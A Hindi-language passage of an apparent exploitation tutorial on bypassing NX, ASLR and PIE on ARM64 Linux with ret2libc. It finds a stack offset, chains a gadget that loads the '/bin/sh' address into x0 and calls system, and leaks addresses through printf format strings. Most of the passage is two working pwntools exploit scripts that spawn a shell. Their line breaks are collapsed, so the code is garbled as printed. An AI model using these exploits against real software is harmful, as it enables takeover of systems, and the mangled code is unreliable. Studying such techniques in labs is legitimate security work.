pattern create 200 के साथ एक पैटर्न बनाना, इसका उपयोग करना, और pattern search $x30 के साथ ऑफसेट की जांच करने से हम देख सकते हैं कि ऑफसेट 108 (0x6c) है।
मुख्य फ़ंक्शन को dissemble करने पर हम देख सकते हैं कि हमें printf पर सीधे जाने के निर्देश के लिए जंप करना चाहिए, जिसका ऑफसेट बाइनरी लोड होने से 0x860 है।
सिस्टम और /bin/sh स्ट्रिंग खोजें
ASLR अक्षम होने के कारण, पते हमेशा एक ही रहेंगे:
गैजेट्स खोजें
हमें x0 में स्ट्रिंग /bin/sh का पता होना चाहिए और system को कॉल करना है।
यह गैजेट $sp + 0x18 से x0 लोड करेगा और फिर sp से पते x29 और x30 लोड करेगा और x30 पर जाएगा। इस गैजेट के साथ हम पहले तर्क को नियंत्रित कर सकते हैं और फिर सिस्टम पर जांप कर सकते हैं।
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")libc.address =0x0000fffff7df0000binsh =next(libc.search(b"/bin/sh"))#Verify with find /bin/shsystem = libc.sym["system"]defexpl_bof(payload):p.recv()p.sendline(payload)# Ret2mainstack_offset =108ldr_x0_ret =p64(libc.address +0x6bdf0)# ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x18-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()p.close()
Ret2lib - NX, ASL और PIE को printf leaks के साथ बाइपास करें स्टैक से
यह गैजेट $sp + 0x78 से x0 लोड करेगा और फिर x29 और x30 के पते को sp से लोड करेगा और x30 पर जाएगा। इस गैजेट के साथ हम पहले तर्क को नियंत्रित कर सकते हैं और फिर सिस्टम पर जांप कर सकते हैं।
शात्रुता
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")defleak_printf(payload,is_main_addr=False):p.sendlineafter(b">\n" ,payload)response = p.recvline().strip()[2:] #Remove new line and "0x" prefixif is_main_addr:response = response[:-4]+b"0000"returnint(response, 16)defexpl_bof(payload):p.recv()p.sendline(payload)# Get main addressmain_address =leak_printf(b"%21$p", True)print(f"Bin address: {hex(main_address)}")# Ret2mainstack_offset =108main_call_printf_offset =0x860#Offset inside main to call printfleakprint("Going back to "+str(hex(main_address + main_call_printf_offset)))ret2main =b"A"*stack_offset +p64(main_address + main_call_printf_offset)expl_bof(ret2main)# libclibc_base_address =leak_printf(b"%25$p")-0x26dc4libc.address = libc_base_addressprint(f"Libc address: {hex(libc_base_address)}")binsh =next(libc.search(b"/bin/sh"))system = libc.sym["system"]# ret2systemldr_x0_ret =p64(libc.address +0x49c40)# ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x78-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()